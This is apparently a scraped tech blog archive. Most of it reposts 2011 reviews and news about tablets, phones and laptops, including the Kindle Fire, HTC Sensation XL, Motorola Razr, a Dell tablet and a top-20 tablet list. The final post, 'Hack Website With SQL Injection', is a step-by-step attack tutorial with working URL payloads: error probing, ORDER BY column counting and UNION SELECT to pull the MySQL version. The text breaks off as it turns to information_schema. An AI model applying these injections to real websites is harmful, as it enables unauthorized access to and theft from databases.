The built-in ecosystem of books, magazines, apps and movies Amazon has built allows it to do what LG, Samsung, Motorola can't, and what Apple has no reason to; abandon any thought of profitable hardware.

This is the first Kindle to boast a colour screen, a holy grail to some users of the device, and with a 7-inch, 1024x600 display it falls at the smaller end of the tablet sphere.

With Android 2.3 (not the newer tablet-centric Honeycomb 3.0 software) on board, it's also the the first to run anything other than the non-native software. However, Amazon's custom designed user interface takes precedence.

Since Amazon announced the Kindle Fire, and its price point, excitement has been at fever pitch, but it remained a gadget none of us had ever seen up-close or played with.

What would be the use of a $200 Android tablet that doesn't work, has a terrible touchscreen or buggy, unusable software? We flew over a device on launch day in the US, so it's time for the hype to subside and for the testing to begin.

Next Page: Page 2: Features (Hardware)

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Fujitsu Tablet

2011-11-29T17:40:00.001+07:00

Fujitsu have over 20 years of experience in Tablet PCs and are one of the few major hardware manufacturers to offer both slate and convertible Tablet PCs.

Fujitsu have now introduced combination multi-touch and digitiser pen systems that take full advantage of the improvements for touch in Windows 7 as well as note taking and handwriting recognition.

As you would expect from a manufacturer who is dedicated to the Tablet platform, Fujitsu Tablet PCs combine great design and performance with unbeatable value for money.

We highly recommend Fujitsu's convertible Tablet Notebooks for serious business users and office workers. Browse our range of Fujitsu Tablet PCs below and contact us for a test drive today.

source of http://www.tabletpc.com.au

Fujitsu Lifebook T580	Fujitsu Lifebook T901	Fujitsu Lifebook TH550
Fujitsu Lifebook TH700

Computing J3500 Field Tablet PC

2011-11-29T09:26:00.001+07:00

new Motion J3500 slate tablet pc is a lightweight but rugged Tablet PC designed for people who work on the road and outdoors.

The previous Motion J3400 took the Tablet PC form factor to an new level and the new Motion J3500 model builds on that with features like:

The choice of capacitive touch screen or super tough Corning Gorilla Glass
Five band 3G / Next G mobile broadband with GPS
Intel Core i7 and i5 processors with better battery life and a 40% performance improvement.

Dual hot swap batteries give the unit up to 8 hours of standard battery life. However, the batteries charge in 90 minutes and are small enough to easily fit into your bag or pocket. The J3500 is compatible with all of the J3400 accessories such as the:

Mobile keyboard
Desktop docking station
Work Anywhere screen cover, handle and shoulder strap
Hot swappable batteries.

you will see in the video, the J3500 portable convertible keyboard is so well balanced and comfortable that it is even easier to use than a standard laptop keyboard.

Motion have gone all out on the included software with a very functional control panel system that is perfect for a touch tablet. It allows you to quickly and easily configure hardware functions and launch applications like GPS. Lastly, the updated 3 Megapixel camera is perfect for documenting details and includes an LED illuminator light on the back.

Motion J3500 Key features:

Capacitive touch screen (light fingertip touch) for convenient control
Optional Corning Gorilla Glass - Five times stronger than any other Tablet PC screen
Intel® Core™ i7 and i5 vPro™ - powerful enough to replace a desktop or laptop PC
Dual hot-swap batteries - Small and lightweight - Between 5 - 8 hours standard life (depending on your usage scenario)
Most advanced outdoor display on the market - Ultraview Anywhere with Hydis AFFS+ - Reflective and transflective screen can be easily seen in direct sunlight
Now conforms to the Military ruggedness standard MIL 810-G tested for drop, dust, water and vibration - also has an IP 52 rating.
Designed to be used standing up and walking with excellent carry options
keyboard option attaches to the back of the unit for carrying
Motion customisable software panel and buttons
2 x USB ports, VGA out, network and audio in / out
Inbuilt 3MP Digital Camera with LED flash
Runs Windows 7 Professional or Windows XP Tablet PC Edition.

The Motion J3500 is perfect for most field users such as:

Inspectors
Assessors
Surveyors
Engineers
Builders
Supervisors
Researchers
Planners
Architects
Pilots

For a demonstration anywhere in Australia contact us using the form below.

Motion Computing J3500 Overview

Motion Computing J3500 Touch Demonstration

Manufacturer: Motion Computing
Unit Weight: 1.6 (1.9kg with 2 batteries)
Operating System: Windows 7 Professional (Windows XP Downgrade Options)
Battery Life: 5-8 hours
Processor: Intel® Core™ i7 or i5 vPro™ Processor
Memory: 4Gb 1333 MHz DDR3
Hard Disk: 160Gb Sata HDD or 128Gb SSD
Screen: 12.1" WXGA Hydis AFFS+ Outdoor and Indoor Display
Graphics: Intel HD
LAN Network: Integrated 10/100/1000 Ethernet LAN
Wireless Network: Intel® Wireless LAN 802.11a/b/g/n
Mobile Broadband: Optional Gobi 2000 - 5 band with GPS
Bluetooth: Yes
Inbuilt 56k Modem: No
Infrared: No
Fingerprint Reader: Yes
Form Factor: Slate
Tablet Digitiser: Wacom Active Digitizer and Capacitive Touch Screen
Ruggedness Ratings: MIL 810G & IP54 - Water, Dust and Splash Resistant
Bar Code Reader: No
RFID Reader: No
GPS: Yes
Specifications URL: Motion Computing US Website
Warranty: 3 Years Standard Warranty (1 year optional)

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G-Form Extreme Sleeve for iPad review

2011-11-29T09:22:00.001+07:00

Protect your iPad from knocks, drops and bowling balls

If you're an extremely clumsy person, then having expensive items such as laptops and iPads can be a risky affair. The rugged G-Form Extreme Sleeve has been designed to keep laptops and tablets safe from knocks and bumps with its impressive casing made out of Poron XRD material.

Rather than bulky solid cases that can be heavy, unwieldy and awkward to carry, the G-Form Extreme Sleeve is lightweight and flexible. It means that laptops or tablets are protected without the protection itself becoming a burden.

The casing is far from attractive, but most importantly, it works. If you're taking your portable device to places where there is a danger it might get knocked about, then the G-Form Extreme Sleeve is a worthy investment.

Verdict

On its website, G-Form has a video example of a bowling ball being dropped on a G-Form Extreme Sleeve-clad iPad - and the iPad remaining unscathed. We had neither the bowling ball, nor spare iPad to test this out ourselves, but from our own tests we were very impressed with the G-Form Extreme Sleeve's resilience.

(Reviewed by Matthew Hanson - TechRadar)

HTC Sensation XL review

2011-11-27T21:05:00.002+07:00

The HTC Sensation XL is the latest iPhone-rivalling Android smartphone from HTC

When the HTC Sensation arrived, HTC made it clear that it considered it a high-end flagship product. It packed specs to make the Samsung Galaxy S2 look nervously over its shoulder at number one in our list of the best mobile phones, mixed with that ol' HTC software magic.

Only a few months later, we've got two new Sensation handsets. TheHTC Sensation XE, which beefed up the processor even further and added Beats Audio. The HTC Sensation XL (try to keep up) instead offers a larger screen than the original Sensation, but with a 1.5GHz single-core processor, 16GB of built-in memory, and Beats Audio (like the XE).

Though the Sensation XL's screen has been increased to 4.7 inches from the Sensation's 4.3 inches, the resolution is actually lower.

Here, we've got a 480 x 800 display, compared to the 540 x 960 qHD screen in the Sensation and Sensation XE. However, that screen is still S-LCD, meaning that it's bright and vibrant, with excellent viewing angles.

The HTC Sensation XL's 16GB of onboard storage is slightly unusual for HTC, who's default is usually to stick in just enough for the operating system and to let you add whatever else you want with a microSD memory card. Except the HTC Sensation XL has no microSD card slot.

Hang on a minute. HTC... 480 x 800, 4.7-inch screen... 1.5GHz single-core CPU... 16GB storage... no microSD slot... Isn't this the HTC Titan?

Yes, it is. Well, it's white, and it comes with Android 2.3 and HTC Sense 3.5. But otherwise, yes. Even the dual-LED flash camera is the same, with an eight-megapixel sensor, back-side illumination and 720p video recording.

So where does the Sensation XL sit in the lineup? Above the original Sensation, with its newer Sense interface, larger screen, special audio and XL suffix? Well, we're not so sure, since the processor is less powerful overall and it's got a lower screen resolution.

And the thing is, the Sensation can be had on contract for free at around £20 per month. The HTC Sensation XE will only set you back a couple more quid. The XL, though, starts at around £31. Ouch.

Like the HTC Titan, it's a big phone, but it feels smaller than you might think in the hand. There's barely any gap between the screen and the side of the handset, so width has been kept to a minimum. Despite that, it's still fairly wide by necessity, so will inevitably not suit everyone.

The screen is a real high point of the HTC Sensation XL. It's bright, with vibrant colours – though they seem a bit overblown at full brightness, they're really appealing if you turn it down a little.

One of the best things about the iPhone 4 and 4S's Retina display is the way the pixels are right up against the glass, as if they've been 'printed' on. Other manufacturers are also doing this, and HTC's probably the best of them. The screen on the HTC Sensation XL barely looks sunk behind glass at all, popping right out at you whenever it's on.

Beneath the screen are the usual Android buttons – Home, Menu, Back and Search – as touch buttons.

Above the screen is the 1.3MP forward-facing camera.

On the right-hand side is the volume rocker, the micro USB port is on the left, while the Lock key and 3.5mm jack are on top.

The HTC Sensation XL unsurprisingly features the same unibody aluminium construction as the Titan, except with some white bits and a Beats logo near the bottom on the back. This nothing to complain about, though. The build quality is very good, and there's very little give in the handset as you hold it.

The Beats Audio headphones are solid metal, and also feel really high quality, with the exception of the in-line clicker. This is a special inclusion just for the phone version of the headset, and feels and looks plasticky and horrible, which is a real shame.

The XL's thickness of just 9.9mm helps it to feel surprisingly slight in the hand, despite being 132.5mm tall and 70.7mm wide. It is still a major handful, though. Even with big hands, you'll find it's a little awkward to balance when typing in portrait, purely because of its size.

At 162g, it's nowhere near as heavy as you might think a phone of this size would be. Overall, its perfectly comfortable to hold when reading something on it.

At the top of the XL's back is the camera lens, which juts out slightly, and the twin LEDs.

To get the back of the Sensation XL off, you need to press a little button at the bottom, and then – rather disconcertingly – need to effectively pull the screen out from inside the casing. It'll bring all the internals with it, don't worry, but it feels very different compared to just popping a flat rear case off, like most other phones.

Once it's out, you can get to the battery and SIM card slot. One thing to be wary of with the XL, though, is that the Wi-Fi antenna is behind the plastic at the bottom of the handset, where the Beats Audio logo is. If you hold the phone in your right hand, you can cause the Wi-Fi signal to drop significantly.

We didn't find that it cut us off in general use around the house or anything, but if you're connecting to weak signal, it's something to be aware of.

Next Page: Interface

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Motorola Razr review

2011-11-27T20:49:00.002+07:00

The definitive Motorola Razr review

The familiar Motorola Razr brand is back, but this time it's re-imagined with Android 2.3.5, an 8MP camera with Full HD recording and a super slim chassis that's just 7.1mm.

That doesn't make it the thinnest phone in the world, as it's still got a thicker end to it at the top of the phone - but given you don't hold that section, it certainly feels slim.

However, lumping most of the components at the top does make it feel a little oddly-balanced in the hand, although it's only 127g heavy (incidentally, the original Razr was 95g - but that didn't have GPS, Wi-Fi, 3G or a camera on board).

The screen is also oddly designed in our opinion, with a large amount of chassis surrounding the display. This means that, despite being 4.3-inches in size, it does look smaller than similar screens.

That's not to take anything away from the Super AMOLED technology used, as it's top notch: we're talking qHD resolution (960 x 540) and clear and crisp colours making it a joy to use.

The design of the phone is slightly odder though: it's a very angular design, and elements like the power / lock key take their cues from the likes of the Milestone range, with golden coating and ridges to make it easier to find in the hand.

The front of the phone is sparsely populated, as we've come to expect from many mobiles at the moment - we're talking a front facing camera (1.3MP) and the four Android keys. We're always pleased to see the search key added, as it make contextual search for things like Music or Emails that much easier.

The top of the phone features three ports: the 3.5mm headphone slot, the microUSB port and another for the mini HDMI lead, which sadly doesn't come in the box but allows you to pump content to a larger display.

It's a unibody design, obviously to preserve the super thin form factor - this means that you can't access the battery or take the back off. The only way to pop in a microSD card or the microSIM that this phone takes is to pull down a small flap on the side. However, we encountered no freezes so never needed to rip out the battery, and the SIM and SD set up was super painless too.

The Motorola logo at the top could be better quality in our opinion, as it was scratched within a couple of days' use.

There's no camera button to speak of, but the 8MP sensor on the rear is joined by a single (but bright) LED flash and the speaker grille, which offers up some pretty loud sound for such a small opening.

We found the larger screen was just about OK for manoeuvring around with a single hand - we had to stretch to reach items on the far side of the display, but on the whole it was pretty good and easy to use.

Next Page: Interface

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Dell Latitude ST Business Tablet Gets Official

2011-11-27T20:44:00.003+07:00

Dell has just announced their Latitude ST tablet. It's a Windows 7 slate running on a 1.5GHz Intel Atom processor with 2GB of RAM. It will also have up to 128GB of SSD storage space, and promises 7 hours of battery life. The 10” screen is 16:10 with a resolution of 1280x800 (some sites report that it's 1366x768 but the chart at Notebook Italia shows 1280x800). You'll also get USB, SD, and HDMI for connecting to printers and projectors and such. It has an active digitizer with what looks to be an n-trig pen. While there is no price mentioned, Dell says you'll be able to “experience” the tablet starting on November 1^st. Whatever that means.

So, how is this any better than the Fujitsu Q550? Two words – Pen Silo:

Although it looks like you'll give up the removable battery with the Dell. There is a removable cover on the back, but that doesn't really look like a battery behind it.

There is also an official video from Dell that just went live on YouTube recently:

Note that I'm making a lot of this up from the pictures and the chart at Notebook Italia, as the official press release is really slim on concrete details:

DellLaunches Latitude ST Tablet for Business, Healthcare andEducation

We're living in an exciting time as mobile computing continues to take significant evolutionary strides. Many organizations are embracing the productivity benefits of enabling their workers to be more mobile but with that freedom, they often face hurdles like security, device management and support for critical applications. At Dell, we strive to design products, services and solutions that maximize workforce efficiency without making IT sacrifices.

That's why I'm pleased to announce the availability of the Dell Latitude ST, a tablet PC built for both mobile professionals and the IT professionals supporting them. The Latitude ST provides Windows 7 Professional productivity in a convenient, lightweight tablet along with all the great attributes IT departments have come to know and trust with our Latitude brand, including security, manageability, service and support. (TBR just ranked Dell notebooks #1 in customer satisfaction.)

LatitudeST can be tailored to specific business or end user needs with certified applications and professional services. It is ideal for any organization where employees need to run a core set of applications in safe computing environments. For healthcare, the Latitude ST easily integrates into Dell's Electronic Medical Records and Mobile Clinical Computing solutions. And for education, the device is certified for use in our Connected Classroom solution. Speaking of healthcare markets, Dell is recognized as the leading provider of healthcare IT services worldwide.

LatitudeST delivers go-anywhere productivity, with anytime, anywhere data access via Wi-Fi and mobile broadband options and a 10-inch multi-touch display with a stylus for intuitive ease-of-use. Mobile professionals can experience the following features and benefits:

Work confidently with Intel Atom processors and the familiarity of Windows7-based applications.

Collaborateon-the-go with front and rear web cams, embedded microphone, and Skype video conferencing.

Connect to projectors, printers, or other devices using built-in ports.

Feel protected with durability features such as a rubberized bumper,anti-glare Corning Gorilla Glass screen and TPU overmold.

And since mobility goes beyond hardware, we're certifying the device with select software partners. Available at launch, we'll offer certification on leading education software, such as Blio, Dyknow, LanSchool and Texas Instruments. For healthcare customers, we're working with organizations like Continua Healthcare Alliance, Athena Health and NextGen Healthcare. And we're working on partnerships with many more to ensure users never skip a beat using their familiar business applications.

ITadministrators will also appreciate the attributes of the LatitudeST. They can seamlessly manage the tablet like any other PC on their network using existing remote management solutions or Dell KACE appliances and protect critical data with flexible Dell Data Protection | Encryption. The device will also integrate with desktop virtualization solutions for secure access to data virtually anywhere. And of course the Latitude ST is backed by customizable options for Dell global service and support.

TheLatitude ST is quick and easy to deploy and manage, and perfect formobile business users, enabling:

Insurance clerks to document accidents, complete forms, obtain signatures and hit submit - right on location.

Doctors, nurses and other medical professionals to view client history, make medical evaluation input, submit prescriptions and research securely on-the-go.

Teachers to fully interact and collaborate with students by seamlessly moving about the classroom

Customers can begin experiencing the new Latitude ST next Tuesday, November 1.

source of http://www.tabletpcbuzz.com/

HP Updates Slate Tablet PC

2011-11-27T20:36:00.005+07:00

It looks like HP is staying in the PC business after all. They've just quietly announced an
updated to the Slate 500 called the Slate 2. Physically, the Slate remains much the
same at 1.5lbs with an 8.9" 1024x600 screen with an n-trig dual pen and touch digitizer.
The processor has been upgraded to an Atom Oaktrail Z670 at 1.5 GHz, with the same 2GB of RAM.
The updated processor promises some gains in battery life - up to 6 hours now they say.
You'll also get a front-facing VGA camera and a 3MP camera on the back.

Business security features include an embedded TPM chip, HP ProtectTools to managed
the chip and secure user authentication, the hard drive, email, and digital certificates,
and BIOS support for Computrace Pro. HP will also offer a retail Point of Sale case with an
integrated magnetic strip reader and a barcode scanner. Another nice business accessory is
the Bluetooth Keyboard Case. Like the Slate 500 before it, the digital pen is included.

You can get a 32GB SSD for $699 or a 64GB SSD for $799. Both can be ordered at HP's online store
today. Adding one to the cart is showing an estimated ship date of 11/8. Hopefully, they'll be able to
keep up with that.

source of http://www.tabletpcbuzz.com/

Apple MacBook Pro 13-inch (Late 2011) review

2011-11-27T20:28:00.002+07:00

Apple's 13" MacBook Pro has been refreshed rather than overhauled

The late 2011 MacBook Pro refresh is the laptop line's second update this year, but a far smaller revision than the one we got in February.

While the early 2011 MacBook Pro refresh of the 13-inch, 15-inch and 17-inch laptops brought us new Sandy Bridge second-generation Core i-series processors and a Thunderbolt port, the late 2011 update is more incremental, with only minor upgrades to the processing speed and bigger hard drives.

The entry-level 13-inch Apple MacBook Pro late 2011 retains its dual core Intel Core i5 processor, but has gone from a 2.3GHz to a 2.4GHz chip. The more expensive model, which we reviewed, moves from a 2.7GHz to a 2.8GHz dual-core Intel Core i7 processor.

Hard drive capacities have been increased, with the entry-level model going from 320GB to 500GB, and the higher-end version from 500GB to 750GB. Hard drive speeds remain unchanged, at 5,400 rpm.

Aside from these two relatively minor changes, everything else about the late 2011 13-inch MacBook Pro remains the same. Its logic board is too small to support a discrete graphics chip, and a legal dispute prevents the integration of an Nvidia chipset into the new Core-i processors, so graphics are once again left to the Sandy Bridge chips' in-built Intel HD Graphics 3000.

The screen is still a glossy 13.3-inch LED-backlit glossy widescreen display with support for millions of colours and a 1280 x 800 native resolution.

The internal, non-user-changeable battery still lasts for up to seven hours of wireless web browsing, and keeps running for around three times as long as a standard battery before wearing out. Connectivity options are still two USB 2.0 ports, a single FireWire 800 port and a new, high-speed Thunderbolt port.

One more thing that hasn't changed is the price. It's still £999 for the entry-level 13-inch MacBook Pro, and £1,299 for the more expensive version.

Next Page: Specification

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Top 20 best tablet PC iPad alternatives

2011-11-27T20:15:00.003+07:00

Which tablet PC iPad alternative is right for you?

Hooray for 2011!

The original iPad may have launched way back in the mists of early 2010, but it's only now that there is a plethora of genuine iPad alternatives to choose from.

Nvidia's Tegra 2 CPU has been the driving force in a new generation of dual-core Android 3.0 tablets, while wildcard alternatives like the TouchPad and the PlayBook also sprung up running completely different operating systems.

We now stand on the brink of the next-next generation of tablets. Nvidia's 'Kal-El' Tegra 3 platform will imminently cross the streams with Google's 'Ice Cream Sandwich' Android 4.0 OS and give birth to a raft of exciting new products.

Apple is of course putting the finishing touches to the iPad 3, and there's also a whole raft of other innovative tablets on the way with glasses-free 3D screens and all sorts of features you probably haven't even heard of yet.

So let's take a look at the best of the bunch as they currently stand. These are the top 20 best tablet PC iPad alternatives – there's one for you in there somewhere!

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Asus Eee Pad Slider SL101

UK release date: Autumn/Winter 2011
Specs: Android 3.2, Nvidia Tegra 2 dual-core CPU, 10.1-inch capacitive display at 1280x800, slide-out keyboard, micoSD, HDMI-out, rear-facing camera, front-facing camera

What we think: While the form factor might not suit those going for an iPad-a-like Android option, the Slider is still a gorgeous tablet. With its slide-out QWERTY keyboard, it offers the perfect balance between portability and functionality. It's also got an absolutely gorgeous screen, and offers the best Android 3.2 touch experience of any tablet out there.

Read more: Asus Eee Pad Slider review

Samsung Galaxy Tab 8.9

UK release date: Autumn 2011
Specs: Android 3.1, 1GHz dual core Nvidia Tegra 2 CPU, 1GB RAM, 16GB storage, 8.9-inch capacitive screen at 1280x800 (WXGA), Wi-Fi only, 447g.

What we think: The Samsung Galaxy Tab 8.9 is almost indistinguishable from its 10.1-inch big brother. To that end, it's a fantastic tablet which is both significantly lighter and thinner than the iPad 2. It's ideal for anyone who thinks 10.1 inches is just slightly too big for a tablet, but also finds 7-inch options a tad too small. A great screen, and premium features across the board make it a superb option.

Read more: Samsung Galaxy Tab 8.9 review

Asus Eee Pad Transformer TF101

UK release date: Out now
Specs: Android 3.2, Nvidia Tegra 2 dual-core CPU, 10.1-inch capacitive display at 1280x800, full-size keyboard dock, card reader, HDMI-out, rear-facing camera, front-facing camera

What we think: Asus is keeping all its bases covered by offering a variety of different tablet options, and waiting to see what people buy. The Eee Pad Transformer comes with a keyboard dock and the whole package costs just £429 - a veritable bargain. Asus is certainly flying under the radar when it comes to marketing its new tablets, but you should associate the name with words like 'quality' and 'user experience'. This is a fantastic product.

Read more: Asus Eee Pad Transformer review

Samsung Galaxy Tab 10.1

UK release date: Out now
Specs: Android 3.0, 1GHz dual core CPU, 1GB RAM, 16GB/32GB storage, 10.1-inch capacitive screen at 1280x800 (WXGA), 3MP rear-facing camera, 2MP front-facing camera, 3G, 599g.

What we think: As an out-and-out tablet, the Galaxy Tab 10.1 is brilliant. It matches the performance of the other Honeycomb Tegra 2-based tablets while beating the pants off them in the portability stakes. This tablet is the lightest and thinnest 10-inch tablet in the world - and yep that includes the iPad 2. So unless that keyboard dock above is a serious draw for you, this is currently the one to watch.

Read more: Samsung Galaxy Tab 10.1 review

Sony Tablet S

UK release date: Out now
Specs: Android 3.2, 1GHz dual core CPU, 1GB RAM, 16GB/32GB storage, 10.1-inch capacitive screen at 1280x800 (WXGA), 3MP rear-facing camera, 2MP front-facing camera, 598g.

What we think: We love the Sony Tablet S and its wedge-shaped design. It really makes it stand out from the crowd. The responsive touchscreen and unique shape combine to make this tablet extremely usable, and a joy to type on. If you're choosing an Android tablet you won't be disappointed, but if it's a shoot out between the Sony Tablet S and the iPad 2, unless you're a hardened Sony fan, then your money is still better spent with Apple.

Read more: Sony Tablet S review

Motorola Xoom

UK release date: Out now
Specs: Android 3.0, Nvidia Tegra 2 dual-core CPU, 1GB RAM, 32GB Flash storage, 10.1-inch capacitive LCD at 1280x800, proximity sensor, ambient light sensor, barometer, gyroscope, 5MP rear-facing camera, 2MP front-facing camera, 3G, 730g.

What we think: The Motorola Xoom is one of the second-generation Android tablets that the tech world got very excited about when it came out. Packing Nvidia's super-powerful Tegra 2 chip and running the tablet-friendly Android 3.0 OS, the Xoom was the first genuine iPad challenger. Ultimately though, it failed to attract buyers, which is why you've probably never seen one. These days, while the Xoom is still a decent, premium and well-built tablet, there are simply better options available. Stay tuned for the Xoom 2, coming very soon!

Read more: Motrola Xoom review

BlackBerry Playbook

UK release date: Out now
Specs: BlackBerry Tablet OS (QNX), 1GHz Cortex A9 dual core CPU, 1GB RAM, 7-inch capacitive LCD at 1024x600, 3MP front-facing camera, 5MP rear-facing camera, 400g.

What we think: The BlackBerry PlayBook is designed to be mobile and business-friendly. That means, at 130x194mm, the device is small enough to hold with one hand, slip in a laptop bag side pouch, and even carry around all day to meetings. The problem's start, though, with the lack of an email app, the dependence on owning a BlackBerry smartphone and a terminal lack of apps. The Playbook is powerful and has brilliant multitasking capabilities, but for now it's one to watch rather than one to buy.

Read more: BlackBerry Playbook review

LG Optimus Pad

UK release date: Out now
Specs: Android 3.0, 1GHz Tegra 2 CPU, 1GB RAM, 32GB storage, 8.9-inch capacitive screen at 1024x768, 2x 5MP rear-facing cameras for 3D capture, 2MP front-facing camera, phone-friendly 3G, 630g.

What we think: The Optimus Pad is a super-looking tablet and has the USP of having dual 5MP rear-firing cameras for 3D image capture. Add to that dual-core Tegra 2 CPU, a decent screen and Android 3.0 and you've got an exciting tablet on your hands. But pricing could be this tablet's Achilles heel – it's pricey. And frankly, 3D image capture without a 3D display = a product before its time. In 2012 we expect to see the LG Optimus Pad 3D, but until then, this probably isn't for you.

Read more: LG Optimus Pad review

Toshiba AT100 (aka Toshiba Thrive)

UK release date: Out now
Specs: Android 3.2, 1GHz dual core CPU, 1GB RAM, 8GB/16GB/32GB storage, 10.1-inch capacitive screen at 1280x800 (WXGA), 5MP rear-facing camera, 2MP front-facing camera, 725g.

What we think: The Toshiba AT100 (known as Toshiba Thrive outside Europe) is a good choice for those who like the idea of full-size HDMI and USB ports. For a specific use, including customisations and future upgrades, the Toshiba AT100 offers some extra flexibility.Yet, the hefty size and weight (plus the passable screen quality) is the main reason we prefer other recent tablets.

Read more: Toshiba AT100 review

HTC Flyer

UK release date: Out now
Specs: Android 2.3, 1.5GHz single-core Snapdragon, 1GB RAM, 32GB memory, 7-inch capacitive LCD at 1024x600, 5MP camera, 3MP front-facing camera, phone-call-friendly 3G, 415g.

What we think: HTC has decided to release its first tablet running on Android Gingerbread (2.3), which will upset some purists that only believe these tablets should run on Honeycomb. However, it does come with a new version of HTC Sense with dual-pane windows which works well with videos and email. As a single-core device in a dual-core world, though, the Flyer just isn't good enough. And the chunky form factor and lack of sparkling features are a real let-down.

Read more: HTC Flyer review

Archos 101 G9

UK release date: Out now
Specs: Android 3.2, Dual-core CPU, 10.1-inch capacitive display at 1280x800, HDMI-out, rear-facing camera, front-facing camera, multiple storage options including 250GB HDD.

What we think:If you're in the market for a capable tablet, but have a limited budget, then this is one of the best options outside of price cuts that you can get.The potential problem is we're about to be bombarded by cut-price tablets, and much better units can be had for this kind of cash - tablets with more memory, built from better materials and generally put together with more love.

Read more: Archos 101 G9 review

Viewsonic ViewPad 7

UK release date: Out now
Specs: Android 2.2, Qualcomm MSM 7227 600MHz CPU, 512MB RAM, 512MB storage, 7-inch capacitive LCD at 800x480, 3MP rear-facing camera, VGA front-facing camera, phone call-friendly 3G, 375g.

What we think: Not technically built by Viewsonic, this tablet is also available under various different titles. Essentially it's a Chinese-built OEM device, but you'd be wrong if you think that means it's not very good. It is. It's responsive, it's a nice size and it's usable. The problem is that at launch it should have cost £200, not £400. And even though it can now be found for around £180, the ship has sailed!

Read more: Viewsonic ViewPad 7 review
See also: Linx Commtiva N700 review

ExoPC Slate

UK release date: Out now
Specs: Intel Atom N450 1.66GHz CPU, 2GB RAM, 23GB/64GB, 11.6-inch capacitive LCD at 1366x768, 1.3MP front-facing camera, 950g.

What we think: While the list is dominated by Android tablets, let's not forget poor old Windows 7. It's in no way a touch-friendly operating system, but that doesn't mean there isn't some decent hardware out there doing its best. The ExoPC Slate is the best Windows tablets at present, and so if you MUST have Windows on your tablet, this is currently the one to get.

Read more: ExoPC Slate review

HP TouchPad

UK release date: Discontinued
Specs: webOS 3.0, 1.2GHz dual-core Snapdragon CPU, 1GB RAM, 16GB, 32GB storage, 9.7-inch capacitive screen at 1024x768, 1.3MP front-facing camera, 740g.

What we think: The HP TouchPad is less polished than the iPad, with a smaller range of impressive third-party apps. Yes, it's got features that the iPad lacks, but so do the Android tablets, and they have a bigger app selection, too. The interface appears more polished than many Android tablets, but in operation that doesn't really stand up. It's also lagging behind in many hardware features, such as HDMI output. And it's also not very tricky to get hold of, as HP killed it just a couple of months after it launched. If you can pick one up cheap though, it could be a good budget option.

Read more: HP TouchPad review

Acer Iconia Tab A500

UK release date: Out now
Specs: Android 3.0, Nvidia Tegra 2 dual-core CPU, 1GB RAM, 10.1 capacitive screen, 5MP rear-facing camera, 3G.

What we think: The A500 was ultimately a disappointment. It was relatively competitive on price, but it simply did not offer the same good looks as the likes of the iPad or Galaxy Tab. It will forever be known as an also-ran, but you can be sure that Acer will be back for more next year. If you can find this model at a crazy cheap price, it might be worth a splash. But otherwise, you should opt for one of the tablets higher up in this list.

Read more: Acer Iconia Tab A500 review

Samsung Galaxy Tab GT-P1000

UK release date: Out now
Specs: Android 2.2, 1GHz Cortex A8 CPU, 512MB RAM, 16GB/32GB, 7-inch capacitive LCD at 1024x600, 3.2MP rear-facing camera, 1.3MP front-facing camera, phone-call-friendly 3G, 380g.

What we think: While the Galaxy Tab promised the world, it didn't quite deliver the tablet experience we were hoping for. As the first big-name tablet to take on the iPad, it failed to live up to its billing. That said, user response has been positive, and despite the ageing features, this first-generation Android 2.3 tablet can now be picked up for under £200 if you look hard enough.

Read more: Samsung Galaxy Tab review

Acer Iconia Tab A100

UK release date: Out now
Specs: Android 3.0, Nvidia Tegra 2 dual-core CPU, 7-inch capacitive screen at 1024x600, 5MP rear-facing camera, 2MP front-facing camera, 3G.

What we think: The A100 is the little brother to the Acer Iconia Tab A500, and it's not a bad option all-told. It's hardly a great looker though, and ultimately fails to make a case for itself among better and more aggressively priced competitors.

Read more: Acer Iconia Tab A100 review

Asus Eee Pad MeMo

UK release date: Winter 2011
Specs: TBC...

What we think: We don't know much about the Asus Eee Pad MeMo yet. What we do know is that there are four models in the Asus Eee Pad range, and the MeMo is the one yet to see even a hint of a release. We do know that Asus is taking its time with these Eee Pads, so we can be fairly confident that when it does finally go on sale, it'll be good. And the latest news suggests it may have a glasses-free 3D screen.

Amazon Kindle Fire

UK release date: Early 2012?
Specs: Heavily modified Android 2.3, 512MB RAM, 1GHz Texus Instruments OMAP 4 4430 CPU, 7-inch capacitive screen 1024x600, microUSB port, Amazon Sevices bundled, 8GB storage

What we think: After months of speculation, the Amazon Kindle Fire has been officially announced at an event in New York, marking the first time the company has entered the tablet market proper. The successor to the Amazon Kindle is a 7-inch device that comes with Android, albeit a version that has been heavily altered by Amazon to make the best use of the company's e-shopping spine.The screen is an IPS display that's made from Gorilla Glass, it houses a dual-core processor, and weighs in at 14.6 ounces. There is a tablet-optimised shopping app on board - this is said to comprise simplified and streamlined pages, so it is easier to buy stuff on than the actual Amazon website.

from : http://www.techradar.com

Hack Website With SQL Injection

2010-04-16T23:39:00.003+07:00

web hacking or commonly called a web attack is very much a way, one of them by way of SQL injection.

What is SQL injection?
SQL injection occurs when an attacker could insert some SQL statements to 'query'
by way of manipulation of input data to the application TSB.

this is one way of doing SQL injection techniques, this way I copas from http://jasakom.com by an author named it cruz3N

OK, let's look together.

1. The first time we did of course find the target. For example our target this time is http://www.target.com/berita.php?id=100

2. Add the characters' at the end of the url or add the character "-" to see if there is an error message.

example :
http://www.target.com/berita.php?id=100'

or

http://www.target.com/berita.php?id=-100

4. Will display an error message ...
"You have an error in your SQL syntax.You have an error in your SQL syntax; check the
That manual corresponds to your MySQL server version for the right syntax to use near'''
at line 1 "And more stuff.

5. Next step is to find and count the number of tables that exist in the database ...
Here we will use an order by order

Example:
http://www.target.com/berita.php?id=100+order+by+1/ *

Hohoho ... especially the "/ *"? That is the character cover SQL or we can also pake "--". Whatever aja ...

If "+" as the contact command ...

6. Well here directly dah sampe nyobain satu2 ...

http://www.target.com/berita.php?id=100+order+by+1/ * (not error)
http://www.target.com/berita.php?id=100+order+by+2/ * (we do not have too)
http://www.target.com/berita.php?id=100+order+by+3/ * (tired dah)
http://www.target.com/berita.php?id=100+order+by+4/ * (do not give up)

Until the error appears ...
Suppose the error here ...

http://www.target.com/berita.php?id=100+order+by+10/ *

Means that we take is "9"
http://www.target.com/berita.php?id=100+order+by+9/ *

7. To find out how many numbers that show now we use UNION

Example:
http://www.target.com/news.php?id=100+union+select+1, 2,3,4,5,6,7,8,9 / *

Then note the number how many are out (toggle Kayak aja ..., p)

8. Eg hockey figure out is "3" then who can we'll do is check which version of mysql is using that with the command "version ()" or "@ @ version"

http://www.target.com/news.php?id=100+union+select+1, 2, version (), 4,5,6,7,8,9 / *

Or

http://www.target.com/news.php?id=100+union+select+1, 2, @ @ version, 4,5,6,7,8,9 / *

9. Well if its version 5 directly aja pake command "information_schema" to see the tables and columns exist in the database ...

Example:

